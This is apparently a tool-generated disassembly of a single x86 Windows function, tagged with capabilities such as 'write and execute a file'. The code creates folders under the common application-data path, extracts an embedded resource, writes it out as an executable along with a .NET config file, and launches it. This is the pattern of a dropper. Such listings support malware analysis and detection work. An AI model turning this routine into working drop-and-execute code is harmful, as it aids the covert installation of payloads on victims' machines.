Function at 0x401270
Capabilities:
Check if file exists
Create directory
Create process on windows
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411140
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x78
push esi
push edi
mov eax, dword [0x418070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [section..data]
mov ecx, section..data
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x14], esi
mov eax, 0x41a138
mov dword [ebp - 4], 0
test eax, 0xffff0000
jne 0x4012ed
movzx edi, ax
mov ecx, edi
call fcn.004027e0
test eax, eax
je 0x401315
push edi
push eax
lea ecx, [ebp - 0x14]
call fcn.004023e0
jmp 0x401312
mov ecx, 0x41a138
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4012f5
sub ecx, edx
sar ecx, 1
push ecx
push 0x41a138
lea ecx, [ebp - 0x14]
call fcn.004024b0
mov esi, dword [ebp - 0x14]
push 0x41a138
push 0
push 0
push 0x1c
push 0
mov dword [ebp - 4], 1
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x40135f
push 9
push 0x416764
lea ecx, [ebp - 0x14]
call fcn.00402280
mov esi, dword [ebp - 0x14]
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401371
push 0
push esi
call edi
test eax, eax
jne 0x401371
mov ecx, 0x3e9
call fcn.00401190
mov dword [ebp - 0x18], eax
jmp 0x40164a
lea eax, [ebp - 0x14]
push str._v1.0.0.5
push eax
call fcn.004026a0
mov esi, dword [ebp - 0x14]
add esp, 8
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
jne 0x4013a9
push eax
push esi
call edi
test eax, eax
jne 0x4013a9
mov ecx, 0x3ea
call fcn.00401190
mov edi, eax
jmp 0x40164d
mov ecx, dword [esi - 0x10]
lea edi, [esi - 0x10]
mov eax, dword [ecx]
mov eax, dword [eax + 0x10]
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
mov ecx, eax
jl 0x4013d0
cmp ecx, dword [edi]
jne 0x4013d0
mov eax, 1
lock xadd dword [edx], eax
jmp 0x401415
mov eax, dword [ecx]
push 2
push dword [edi + 4]
mov eax, dword [eax]
call eax
mov edx, eax
mov dword [ebp - 0x20], edx
test edx, edx
jne 0x4013e9
call fcn.004023d0
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [edi + 4]
lea eax, [ecx*2 + 2]
push eax
lea eax, [edi + 0x10]
push eax
lea eax, [ecx*2 + 2]
push eax
lea eax, [edx + 0x10]
push eax
call fcn.00402f84
mov edi, dword [ebp - 0x20]
add esp, 0x10
lea eax, [edi + 0x10]
mov dword [ebp - 0x1c], eax
push 0xa
push str.mlcstart.
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.00402280
push 3
push 0x4167a4
lea ecx, [ebp - 0x1c]
call fcn.00402280
push 0x4167ac
push 0x85
push dword [0x41a348]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
push edi
push dword [0x41a348]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push dword [0x41a348]
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, dword [ebp - 0x1c]
push edi
mov dword [ebp - 0x18], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4014d5
push eax
push eax
push 1
push eax
push eax
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x24], eax
cmp eax, 0xffffffff
jne 0x4014b9
mov ecx, 0x7d1
call fcn.00401190
mov dword [ebp - 0x18], eax
jmp 0x40162c
push 0
lea ecx, [ebp - 0x28]
push ecx
push dword [ebp - 0x20]
push dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [edi - 0x10]
add edi, 0xfffffff0
mov eax, dword [ecx]
mov eax, dword [eax + 0x10]
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
mov ecx, eax
jl 0x4014fc
cmp ecx, dword [edi]
jne 0x4014fc
mov eax, 1
lock xadd dword [edx], eax
jmp 0x401541
mov eax, dword [ecx]
push 2
push dword [edi + 4]
mov eax, dword [eax]
call eax
mov edx, eax
mov dword [ebp - 0x24], edx
test edx, edx
jne 0x401515
call fcn.004023d0
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [edi + 4]
lea eax, [ecx*2 + 2]
push eax
lea eax, [edi + 0x10]
push eax
lea eax, [ecx*2 + 2]
push eax
lea eax, [edx + 0x10]
push eax
call fcn.00402f84
mov edi, dword [ebp - 0x24]
add esp, 0x10
lea eax, [edi + 0x10]
mov dword [ebp - 0x20], eax
push 7
push str..config
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 3
call fcn.00402280
mov edi, dword [ebp - 0x20]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4015a6
push eax
push eax
push 1
push eax
push eax
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x24], eax
cmp eax, 0xffffffff
jne 0x401589
mov ecx, 0x7d2
jmp 0x401603
push 0
lea ecx, [ebp - 0x28]
push ecx
push 0x7c
push str._configuration__startup__supportedRuntime_versionv4.0___supportedRuntime_versionv2.0.50727____startup___configuration_
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_FreeResource]
push 0x44
lea eax, [ebp - 0x88]
push 0
push eax
call fcn.004034e0
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x88]
push eax
push esi
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x1c]
xorps xmm0, xmm0
mov dword [ebp - 0x88], 0x44
movdqa xmmword [ebp - 0x40], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
mov dword [ebp - 0x18], edx
test edx, edx
jne 0x40160b
mov ecx, 0xbb9
call fcn.00401190
mov dword [ebp - 0x18], eax
add edi, 0xfffffff0
mov byte [ebp - 4], 2
lea eax, [edi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x401629
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x1c]
add edi, 0xfffffff0
mov byte [ebp - 4], 1
lea eax, [edi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40164a
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x18]
add esi, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40166e
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret